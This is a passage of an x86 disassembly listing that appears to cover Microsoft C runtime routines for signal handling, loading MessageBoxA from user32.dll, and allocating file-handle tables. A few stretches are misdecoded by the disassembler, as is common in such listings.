		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42CFAB:				; CODE XREF: sub_42CF10+85j
		cmp	[ebp+arg_4], 0
		ja	short loc_42CF4A
		jb	short loc_42CFB9
		cmp	[ebp+arg_0], 0
		ja	short loc_42CF4A


loc_42CFB9:				; CODE XREF: sub_42CF10+A1j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_42CFC8:				; CODE XREF: sub_42CF10+EAj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_42CFC8
		mov	esp, ebp
		pop	ebp
		retn	14h
sub_42CF10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CF10
		mov	eax, [ebp+10h]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		cmp	dword ptr [ebp+0Ch], 4
		jz	short loc_42D043
		cmp	dword ptr [ebp+0Ch], 3
		jnz	short loc_42D048


loc_42D043:				; CODE XREF: seg000:0042D03Bj
		jmp	loc_42D218
; ---------------------------------------------------------------------------


loc_42D048:				; CODE XREF: seg000:0042D041j
		cmp	dword ptr [ebp+8], 2
		jz	short loc_42D064
		cmp	dword ptr [ebp+8], 15h
		jz	short loc_42D064
		cmp	dword ptr [ebp+8], 16h
		jz	short loc_42D064
		cmp	dword ptr [ebp+8], 0Fh
		jnz	loc_42D141


loc_42D064:				; CODE XREF: seg000:0042D04Cj
					; seg000:0042D052j ...
		push	1
		call	sub_421A80
		add	esp, 4
		cmp	dword ptr [ebp+8], 2
		jz	short loc_42D07A
		cmp	dword ptr [ebp+8], 15h
		jnz	short loc_42D0BF


loc_42D07A:				; CODE XREF: seg000:0042D072j
		cmp	ds:dword_4EEBA8, 0
		jnz	short loc_42D0BF
		push	1
		push	offset sub_42D260
		call	near ptr 3D0000h
		push	edx
		cmp	eax, 1
		jnz	short loc_42D0A1
		mov	ds:dword_4EEBA8, 1
		jmp	short loc_42D0BF
; ---------------------------------------------------------------------------


loc_42D0A1:				; CODE XREF: seg000:0042D093j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	esi, eax
		call	sub_4267F0
		mov	[eax], esi
		push	1
		call	sub_421B20
		add	esp, 4
		jmp	loc_42D218
; ---------------------------------------------------------------------------


loc_42D0BF:				; CODE XREF: seg000:0042D078j
					; seg000:0042D081j ...
		mov	eax, [ebp+8]
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		sub	ecx, 2
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-10h], 14h
		ja	short loc_42D132
		mov	eax, [ebp-10h]
		xor	edx, edx
		mov	dl, ds:byte_42D23F[eax]
		jmp	ds:off_42D22B[edx*4]


loc_42D0E6:				; DATA XREF: seg000:off_42D22Bo
		mov	ecx, ds:dword_4EEB98
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	ds:dword_4EEB98, edx
		jmp	short loc_42D132
; ---------------------------------------------------------------------------


loc_42D0FA:				; CODE XREF: seg000:0042D0DFj
					; DATA XREF: seg000:0042D233o
		mov	eax, ds:dword_4EEB9C
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp+0Ch]
		mov	ds:dword_4EEB9C, ecx
		jmp	short loc_42D132
; ---------------------------------------------------------------------------


loc_42D10D:				; CODE XREF: seg000:0042D0DFj
					; DATA XREF: seg000:0042D237o
		mov	edx, ds:dword_4EEBA0
		mov	[ebp-0Ch], edx
		mov	eax, [ebp+0Ch]
		mov	ds:dword_4EEBA0, eax
		jmp	short loc_42D132
; ---------------------------------------------------------------------------


loc_42D120:				; CODE XREF: seg000:0042D0DFj
					; DATA XREF: seg000:0042D22Fo
		mov	ecx, ds:dword_4EEBA4
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	ds:dword_4EEBA4, edx


loc_42D132:				; CODE XREF: seg000:0042D0D2j
					; seg000:0042D0DFj ...
		push	1
		call	sub_421B20
		add	esp, 4
		jmp	loc_42D213
; ---------------------------------------------------------------------------


loc_42D141:				; CODE XREF: seg000:0042D05Ej
		cmp	dword ptr [ebp+8], 8
		jz	short loc_42D158
		cmp	dword ptr [ebp+8], 4
		jz	short loc_42D158
		cmp	dword ptr [ebp+8], 0Bh
		jz	short loc_42D158
		jmp	loc_42D218
; ---------------------------------------------------------------------------


loc_42D158:				; CODE XREF: seg000:0042D145j
					; seg000:0042D14Bj ...
		call	sub_425C30
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], offset dword_450578
		jnz	short loc_42D1B5
		push	133h
		push	offset aWinsig_c ; "winsig.c"
		push	2
		mov	ecx, ds:dword_4505F8
		push	ecx
		call	sub_41AE60
		add	esp, 10h
		mov	edx, [ebp-4]
		mov	[edx+50h], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], 0
		jz	short loc_42D1B3
		mov	ecx, ds:dword_4505F8
		push	ecx
		push	offset dword_450578
		mov	edx, [ebp-4]
		mov	eax, [edx+50h]
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		jmp	short loc_42D1B5
; ---------------------------------------------------------------------------


loc_42D1B3:				; CODE XREF: seg000:0042D194j
		jmp	short loc_42D218
; ---------------------------------------------------------------------------


loc_42D1B5:				; CODE XREF: seg000:0042D16Aj
					; seg000:0042D1B1j
		mov	ecx, [ebp-4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42D540
		add	esp, 8
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_42D1D3
		jmp	short loc_42D218
; ---------------------------------------------------------------------------


loc_42D1D3:				; CODE XREF: seg000:0042D1CFj
		mov	ecx, [ebp-8]
		mov	edx, [ecx+8]
		mov	[ebp-0Ch], edx


loc_42D1DC:				; CODE XREF: seg000:loc_42D211j
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		cmp	ecx, [ebp+8]
		jnz	short loc_42D213
		mov	edx, [ebp-8]
		mov	eax, [ebp+0Ch]
		mov	[edx+8], eax
		mov	ecx, [ebp-8]
		add	ecx, 0Ch
		mov	[ebp-8], ecx
		mov	edx, ds:dword_4505FC
		imul	edx, 0Ch
		mov	eax, [ebp-4]
		mov	ecx, [eax+50h]
		add	ecx, edx
		cmp	[ebp-8], ecx
		jb	short loc_42D211
		jmp	short loc_42D213
; ---------------------------------------------------------------------------


loc_42D211:				; CODE XREF: seg000:0042D20Dj
		jmp	short loc_42D1DC
; ---------------------------------------------------------------------------


loc_42D213:				; CODE XREF: seg000:0042D13Cj
					; seg000:0042D1E5j ...
		mov	eax, [ebp-0Ch]
		jmp	short loc_42D226
; ---------------------------------------------------------------------------


loc_42D218:				; CODE XREF: seg000:loc_42D043j
					; seg000:0042D0BAj ...
		call	sub_4267E0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh


loc_42D226:				; CODE XREF: seg000:0042D216j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
off_42D22B	dd offset loc_42D0E6	; DATA XREF: seg000:0042D0DFr
		dd offset loc_42D120
		dd offset loc_42D0FA
		dd offset loc_42D10D
		dd offset loc_42D132
byte_42D23F	db 0			; DATA XREF: seg000:0042D0D9r
		dd 3 dup(4040404h), 4040401h, 3020404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D260	proc near		; DATA XREF: seg000:0042D085o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1
		call	sub_421A80
		add	esp, 4
		cmp	[ebp+arg_0], 0
		jnz	short loc_42D28E
		mov	[ebp+var_8], offset dword_4EEB98
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 2
		jmp	short loc_42D2A4
; ---------------------------------------------------------------------------


loc_42D28E:				; CODE XREF: sub_42D260+14j
		mov	[ebp+var_8], offset dword_4EEB9C
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], 15h


loc_42D2A4:				; CODE XREF: sub_42D260+2Cj
		cmp	[ebp+var_C], 0
		jnz	short loc_42D2B8
		push	1
		call	sub_421B20
		add	esp, 4
		xor	eax, eax
		jmp	short loc_42D2EC
; ---------------------------------------------------------------------------


loc_42D2B8:				; CODE XREF: sub_42D260+48j
		cmp	[ebp+var_C], 1
		jz	short loc_42D2DD
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		push	1
		call	sub_421B20
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	[ebp+var_C]
		add	esp, 4
		jmp	short loc_42D2E7
; ---------------------------------------------------------------------------


loc_42D2DD:				; CODE XREF: sub_42D260+5Cj
		push	1
		call	sub_421B20
		add	esp, 4


loc_42D2E7:				; CODE XREF: sub_42D260+7Bj
		mov	eax, 1


loc_42D2EC:				; CODE XREF: sub_42D260+56j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_42D260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D300	proc near		; CODE XREF: sub_4211A0+2E7p
					; sub_430780+Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		sub	ecx, 2
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 14h
		ja	loc_42D3CE
		mov	eax, [ebp+var_20]
		xor	edx, edx
		mov	dl, ds:byte_42D522[eax]
		jmp	ds:off_42D50A[edx*4]


loc_42D338:				; DATA XREF: seg000:off_42D50Ao
		mov	[ebp+var_18], offset dword_4EEB98
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	loc_42D3D6
; ---------------------------------------------------------------------------


loc_42D355:				; CODE XREF: sub_42D300+31j
					; DATA XREF: seg000:0042D516o
		mov	[ebp+var_18], offset dword_4EEB9C
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42D3D6
; ---------------------------------------------------------------------------


loc_42D36F:				; CODE XREF: sub_42D300+31j
					; DATA XREF: seg000:0042D51Ao
		mov	[ebp+var_18], offset dword_4EEBA0
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42D3D6
; ---------------------------------------------------------------------------


loc_42D389:				; CODE XREF: sub_42D300+31j
					; DATA XREF: seg000:0042D512o
		mov	[ebp+var_18], offset dword_4EEBA4
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42D3D6
; ---------------------------------------------------------------------------


loc_42D3A3:				; CODE XREF: sub_42D300+31j
					; DATA XREF: seg000:0042D50Eo
		call	sub_425C30
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42D540
		add	esp, 8
		add	eax, 8
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		jmp	short loc_42D3D6
; ---------------------------------------------------------------------------


loc_42D3CE:				; CODE XREF: sub_42D300+20j
					; sub_42D300+31j
					; DATA XREF: ...
		or	eax, 0FFFFFFFFh
		jmp	loc_42D506
; ---------------------------------------------------------------------------


loc_42D3D6:				; CODE XREF: sub_42D300+50j
					; sub_42D300+6Dj ...
		cmp	[ebp+var_C], 0
		jz	short loc_42D3E6
		push	1
		call	sub_421A80
		add	esp, 4


loc_42D3E6:				; CODE XREF: sub_42D300+DAj
		cmp	[ebp+var_1C], 1
		jnz	short loc_42D403
		cmp	[ebp+var_C], 0
		jz	short loc_42D3FC
		push	1
		call	sub_421B20
		add	esp, 4


loc_42D3FC:				; CODE XREF: sub_42D300+F0j
		xor	eax, eax
		jmp	loc_42D506
; ---------------------------------------------------------------------------


loc_42D403:				; CODE XREF: sub_42D300+EAj
		cmp	[ebp+var_1C], 0
		jnz	short loc_42D420
		cmp	[ebp+var_C], 0
		jz	short loc_42D419
		push	1
		call	sub_421B20
		add	esp, 4


loc_42D419:				; CODE XREF: sub_42D300+10Dj
		push	3
		call	sub_41D9F0


loc_42D420:				; CODE XREF: sub_42D300+107j
		cmp	[ebp+arg_0], 8
		jz	short loc_42D432
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_42D432
		cmp	[ebp+arg_0], 4
		jnz	short loc_42D45E


loc_42D432:				; CODE XREF: sub_42D300+124j
					; sub_42D300+12Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+54h]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+54h], 0
		cmp	[ebp+arg_0], 8
		jnz	short loc_42D45E
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+58h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+58h], 8Ch


loc_42D45E:				; CODE XREF: sub_42D300+130j
					; sub_42D300+149j
		cmp	[ebp+arg_0], 8
		jnz	short loc_42D4A0
		mov	eax, ds:dword_4505F0
		mov	[ebp+var_10], eax
		jmp	short loc_42D477
; ---------------------------------------------------------------------------


loc_42D46E:				; CODE XREF: sub_42D300+19Cj
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_42D477:				; CODE XREF: sub_42D300+16Cj
		mov	edx, ds:dword_4505F0
		add	edx, ds:dword_4505F4
		cmp	[ebp+var_10], edx
		jge	short loc_42D49E
		mov	eax, [ebp+var_10]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_42D46E
; ---------------------------------------------------------------------------


loc_42D49E:				; CODE XREF: sub_42D300+186j
		jmp	short loc_42D4A9
; ---------------------------------------------------------------------------


loc_42D4A0:				; CODE XREF: sub_42D300+162j
		mov	eax, [ebp+var_18]
		mov	dword ptr [eax], 0


loc_42D4A9:				; CODE XREF: sub_42D300:loc_42D49Ej
		cmp	[ebp+var_C], 0
		jz	short loc_42D4B9
		push	1
		call	sub_421B20
		add	esp, 4


loc_42D4B9:				; CODE XREF: sub_42D300+1ADj
		cmp	[ebp+arg_0], 8
		jnz	short loc_42D4D0
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	[ebp+var_1C]
		add	esp, 8
		jmp	short loc_42D4DA
; ---------------------------------------------------------------------------


loc_42D4D0:				; CODE XREF: sub_42D300+1BDj
		mov	eax, [ebp+arg_0]
		push	eax
		call	[ebp+var_1C]
		add	esp, 4


loc_42D4DA:				; CODE XREF: sub_42D300+1CEj
		cmp	[ebp+arg_0], 8
		jz	short loc_42D4EC
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_42D4EC
		cmp	[ebp+arg_0], 4
		jnz	short loc_42D504


loc_42D4EC:				; CODE XREF: sub_42D300+1DEj
					; sub_42D300+1E4j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_14]
		mov	[ecx+54h], edx
		cmp	[ebp+arg_0], 8
		jnz	short loc_42D504
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+58h], ecx


loc_42D504:				; CODE XREF: sub_42D300+1EAj
					; sub_42D300+1F9j
		xor	eax, eax


loc_42D506:				; CODE XREF: sub_42D300+D1j
					; sub_42D300+FEj
		mov	esp, ebp
		pop	ebp
		retn
sub_42D300	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_42D50A	dd offset loc_42D338	; DATA XREF: sub_42D300+31r
		dd offset loc_42D3A3
		dd offset loc_42D389
		dd offset loc_42D355
		dd offset loc_42D36F
		dd offset loc_42D3CE
byte_42D522	db 0			; DATA XREF: sub_42D300+2Br
		db 5
		dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D540	proc near		; CODE XREF: seg000:0042D1C0p
					; sub_42D300+B6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_42D54A:				; CODE XREF: sub_42D540+31j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+arg_0]
		jz	short loc_42D573
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, ds:dword_4505FC
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_42D573
		jmp	short loc_42D54A
; ---------------------------------------------------------------------------


loc_42D573:				; CODE XREF: sub_42D540+13j
					; sub_42D540+2Fj
		mov	eax, ds:dword_4505FC
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_42D595
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_42D595
		mov	eax, [ebp+var_4]
		jmp	short loc_42D597
; ---------------------------------------------------------------------------


loc_42D595:				; CODE XREF: sub_42D540+43j
					; sub_42D540+4Ej
		xor	eax, eax


loc_42D597:				; CODE XREF: sub_42D540+53j
		mov	esp, ebp
		pop	ebp
		retn
sub_42D540	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_425C30
		add	eax, 58h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D5B0	proc near		; CODE XREF: seg000:0042F789p
		push	ebp
		mov	ebp, esp
		call	sub_425C30
		add	eax, 54h
		pop	ebp
		retn
sub_42D5B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D5C0	proc near		; CODE XREF: sub_4211A0+2CEp
					; sub_42CB30+1B0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		cmp	ds:dword_4EEBAC, 0
		jnz	short loc_42D633
		push	offset aUser32_dll_0 ; "user32.dll"
		call	ds:dword_4F130C	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_42D607
		push	offset aMessageboxa ; "MessageBoxA"
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4F1314
		mov	ds:dword_4EEBAC, eax
		cmp	ds:dword_4EEBAC, 0
		jnz	short loc_42D60B


loc_42D607:				; CODE XREF: sub_42D5C0+28j
		xor	eax, eax
		jmp	short loc_42D677
; ---------------------------------------------------------------------------


loc_42D60B:				; CODE XREF: sub_42D5C0+45j
		push	offset aGetactivewindo ; "GetActiveWindow"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_4F1314
		mov	ds:dword_4EEBB0, eax
		push	offset aGetlastactivep ; "GetLastActivePopup"
		mov	edx, [ebp+var_8]
		push	edx
		call	ds:dword_4F1314
		mov	ds:dword_4EEBB4, eax


loc_42D633:				; CODE XREF: sub_42D5C0+14j
		cmp	ds:dword_4EEBB0, 0
		jz	short loc_42D645
		call	ds:dword_4EEBB0
		mov	[ebp+var_4], eax


loc_42D645:				; CODE XREF: sub_42D5C0+7Aj
		cmp	[ebp+var_4], 0
		jz	short loc_42D661
		cmp	ds:dword_4EEBB4, 0
		jz	short loc_42D661
		mov	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4EEBB4
		mov	[ebp+var_4], eax


loc_42D661:				; CODE XREF: sub_42D5C0+89j
					; sub_42D5C0+92j
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	ds:dword_4EEBAC


loc_42D677:				; CODE XREF: sub_42D5C0+49j
		mov	esp, ebp
		pop	ebp
		retn
sub_42D5C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D680	proc near		; CODE XREF: seg000:loc_42DB12p
					; sub_42E310:loc_42E5A9p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	[ebp+var_8], 0FFFFFFFFh
		push	12h
		call	sub_421A80
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_42D6AA
; ---------------------------------------------------------------------------


loc_42D6A1:				; CODE XREF: sub_42D680:loc_42D84Bj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_42D6AA:				; CODE XREF: sub_42D680+1Fj
		cmp	[ebp+var_C], 40h
		jge	loc_42D850
		mov	ecx, [ebp+var_C]
		cmp	ds:dword_4EED20[ecx*4],	0
		jz	loc_42D7B6
		mov	edx, [ebp+var_C]
		mov	eax, ds:dword_4EED20[edx*4]
		mov	[ebp+var_4], eax
		jmp	short loc_42D6DD
; ---------------------------------------------------------------------------


loc_42D6D4:				; CODE XREF: sub_42D680+F1j
					; sub_42D680:loc_42D7A1j
		mov	ecx, [ebp+var_4]
		add	ecx, 24h
		mov	[ebp+var_4], ecx


loc_42D6DD:				; CODE XREF: sub_42D680+52j
		mov	edx, [ebp+var_C]
		mov	eax, ds:dword_4EED20[edx*4]
		add	eax, 480h
		cmp	[ebp+var_4], eax
		jnb	loc_42D7A6
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jnz	loc_42D7A1
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42D749
		push	11h
		call	sub_421A80
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42D73F
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		call	ds:dword_4F1444	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx


loc_42D73F:				; CODE XREF: sub_42D680+A1j
		push	11h
		call	sub_421B20
		add	esp, 4


loc_42D749:				; CODE XREF: sub_42D680+8Ej
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		call	ds:dword_4F1364	; RtlEnterCriticalSection
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_42D776
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		call	ds:dword_4F1360	; RtlLeaveCriticalSection
		jmp	loc_42D6D4
; ---------------------------------------------------------------------------


loc_42D776:				; CODE XREF: sub_42D680+E2j
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		sub	eax, ds:dword_4EED20[edx*4]
		cdq
		mov	esi, 24h
		idiv	esi
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_42D7A6
; ---------------------------------------------------------------------------


loc_42D7A1:				; CODE XREF: sub_42D680+81j
		jmp	loc_42D6D4
; ---------------------------------------------------------------------------


loc_42D7A6:				; CODE XREF: sub_42D680+6Fj
					; sub_42D680+11Fj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_42D7B1
		jmp	loc_42D850
; ---------------------------------------------------------------------------


loc_42D7B1:				; CODE XREF: sub_42D680+12Aj
		jmp	loc_42D84B
; ---------------------------------------------------------------------------


loc_42D7B6:				; CODE XREF: sub_42D680+3Fj
		push	79h
		push	offset aOsfinfo_c ; "osfinfo.c"
		push	2
		push	480h
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42D849
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	ds:dword_4EED20[eax*4],	ecx
		mov	edx, ds:dword_4EEE20
		add	edx, 20h
		mov	ds:dword_4EEE20, edx
		jmp	short loc_42D7FC
; ---------------------------------------------------------------------------


loc_42D7F3:				; CODE XREF: sub_42D680+1B2j
		mov	eax, [ebp+var_4]
		add	eax, 24h
		mov	[ebp+var_4], eax


loc_42D7FC:				; CODE XREF: sub_42D680+171j
		mov	ecx, [ebp+var_C]
		mov	edx, ds:dword_4EED20[ecx*4]
		add	edx, 480h
		cmp	[ebp+var_4], edx
		jnb	short loc_42D834
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+8], 0
		jmp	short loc_42D7F3
; ---------------------------------------------------------------------------


loc_42D834:				; CODE XREF: sub_42D680+18Fj
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_42DB90
		add	esp, 4


loc_42D849:				; CODE XREF: sub_42D680+153j
		jmp	short loc_42D850
; ---------------------------------------------------------------------------


loc_42D84B:				; CODE XREF: sub_42D680:loc_42D7B1j
		jmp	loc_42D6A1
; ---------------------------------------------------------------------------


loc_42D850:				; CODE XREF: sub_42D680+2Ej
					; sub_42D680+12Cj ...
		push	12h
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+var_8]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42D680	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42D870:				; CODE XREF: seg000:0042DB43p
					; sub_42E310+379p
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, ds:dword_4EEE20
		jnb	loc_42D90A
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jnz	short loc_42D90A
		cmp	ds:dword_44FD34, 1
		jnz	short loc_42D8EA
		mov	ecx, [ebp+8]
		mov	[ebp-4], ecx
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42D8C2
		cmp	dword ptr [ebp-4], 1
		jz	short near ptr loc_42D8CF+1
		cmp	dword ptr [ebp-4], 2
		jz	short near ptr loc_42D8DD+1
		jmp	short loc_42D8EA
; ---------------------------------------------------------------------------


loc_42D8C2:				; CODE XREF: seg000:0042D8B2j
		mov	edx, [ebp+0Ch]
		push	edx
		push	0FFFFFFF6h
		call	near ptr 3D0000h
		adc	ebx, ebp


loc_42D8CF:				; CODE XREF: seg000:0042D8B8j
		sbb	cl, [ebx+6A500C45h]
		cmc
		call	near ptr 3D0000h
		or	al, 0EBh


loc_42D8DD:				; CODE XREF: seg000:0042D8BEj
		or	al, 8Bh
		dec	ebp
		or	al, 51h
		push	0FFFFFFF4h
		call	near ptr 3D0000h
		aas


loc_42D8EA:				; CODE XREF: seg000:0042D8A6j
					; seg000:0042D8C0j
		mov	edx, [ebp+8]
		sar	edx, 5
		mov	eax, [ebp+8]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, ds:dword_4EED20[edx*4]
		mov	edx, [ebp+0Ch]
